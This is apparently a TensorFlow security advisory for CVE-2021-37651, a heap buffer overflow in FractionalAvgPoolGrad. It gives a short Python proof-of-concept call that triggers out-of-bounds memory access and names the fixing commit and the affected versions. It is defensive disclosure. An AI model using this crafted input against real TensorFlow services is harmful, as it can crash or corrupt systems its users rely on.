## TFSA-2021-125: Heap buffer overflow in `FractionalAvgPoolGrad`

### CVE Number
CVE-2021-37651

### Impact
The implementation for `tf.raw_ops.FractionalAvgPoolGrad` can be tricked into
accessing data outside of bounds of heap allocated buffers:

```python
import tensorflow as tf

tf.raw_ops.FractionalAvgPoolGrad(
  orig_input_tensor_shape=[0,1,2,3],
  out_backprop = np.array([[[[541],[541]],[[541],[541]]]]),
  row_pooling_sequence=[0, 0, 0, 0, 0],
  col_pooling_sequence=[-2, 0, 0, 2, 0],
  overlapping=True)
```

The
[implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/fractional_avg_pool_op.cc#L205)
does not validate that the input tensor is non-empty. Thus, code constructs an
empty `EigenDoubleMatrixMap` and then accesses this buffer with indices that are
outside of the empty area.

### Patches
We have patched the issue in GitHub commit
[0f931751fb20f565c4e94aa6df58d54a003cdb30](https://github.com/tensorflow/tensorflow/commit/0f931751fb20f565c4e94aa6df58d54a003cdb30).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this
commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are
also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo
360.
